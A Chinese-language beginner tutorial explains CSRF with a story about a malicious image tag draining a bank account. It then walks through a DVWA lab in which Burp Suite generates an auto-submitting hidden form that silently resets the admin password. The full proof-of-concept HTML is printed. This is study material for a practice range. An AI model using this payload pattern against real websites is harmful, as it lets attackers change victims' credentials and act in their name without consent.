CSRF跨站请求伪造——入门篇
- 0. 前言
- 1. 什么是CSRF
- 2. 一次完整的CSRF攻击
0. 前言
本文将带你实现一次完整的CSRF攻击,内容较为基础。需要你掌握的基础知识有:
- 了解
cookie
; - 已经安装了DVWA的靶场环境(本地的或云的);
- 下载了专业版BurpSuite;
1. 什么是CSRF
1. 模拟一次“正常”的上网行为
- 有一天,我打开了一个银行的网页(我们模拟的银行网站),想要给我的朋友转钱:
- 转完钱后,我又去浏览了其他“好看”的网页:
- 看了一会儿之后,再次回到银行页面查看余额,发现钱没了!!!又刷新了一次好看的页面,再去看银行,钱更少了!!!这是什么情况?
2. 分析
- 作为一名网络安全的选手,怎么甘心钱就这么消失了呢?肯定有猫腻。我们检测一下“好看”界面的网络源代码,发现果然有问题:
- 这个页面中,有一个图片标签,向银行网站发起了一次转账请求,目标用户是1102,转账金额为1000块。
- 但是它没有我的用户名和密码啊,这是怎么回事?我们再去查看一下浏览器的安全设置,发现了问题:
- 在我们第一次登入银行网站后,浏览器记录了当前用户的Cookie,且浏览器安全级别较低,不同网站之间,没有设置Cookie的拦截。这也就意味着,当我使用这个浏览器访问其他“好看”网站时,该网站可以使用之前保留的Cookie,向银行发起请求,从而绕过身份验证,攻击就发生了。
- 这就是CSRF跨站请求伪造!
2. 一次完整的CSRF攻击
本次实验,全部在BP自带的浏览器上进行。
1. 先看题目
- 修改DVWA的安全等级为low:
- 场景是,现在有一个用户要改变
admin
的密码,输入两次新密码,一次验证:
- 我们要通过CSRF的手段,在用户不知情的情况下,修改
admin
密码,这个密码用户不知道,它今后也就登入不了了。
2. 攻击开始
- 开启BP的拦截功能:
- 用户输入了新密码,并提交了修改请求,该信息被我们拦截到了,直接将请求
forward
,并关闭拦截。接下来直接右键,让BP自动生成一段CSRF的测试代码:
- 可以看到,BP为我们生成了一个HTML文件:
- 如果用户自己打开了这个网页,它将会向目标网站(刚才用户修改密码所在的网站),自动发送修改密码的请求。可以通过修改
password
对应的value
的值,将密码修改为我们指定的内容admin
; - 自动提交的功能是由JS的代码实现的,为
document.forms[0].submit();
。
- 如果用户自己打开了这个网页,它将会向目标网站(刚才用户修改密码所在的网站),自动发送修改密码的请求。可以通过修改
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://localhost/DVWA/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="admin" /><input type="hidden" name="password_conf" value="admin" /><input type="hidden" name="Change" value="Change" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
- 在BP自带的浏览器中测试,
copy
该文件的路径,在BP中打开:
- 可以看到,这个新页面立即跳转到了修改用户密码的界面,并且修改成功,实验完成。
3. 思考
- 上述实验中,我们即是用户,也是攻击者。
- 用户视角:
- 登入进DVWA网站主界面后,就不管了,也没想着去修改密码。之后不慎点击了某个不知名链接,导致密码被恶意修改了;
- 攻击者视角:
- 已经提前做好了一个CSRF的攻击网站,等待用户点击。实验中拦截请求的操作,是不会出现在真实场景中的,只是为了使用一下BP自带的CSRF自动生成工具。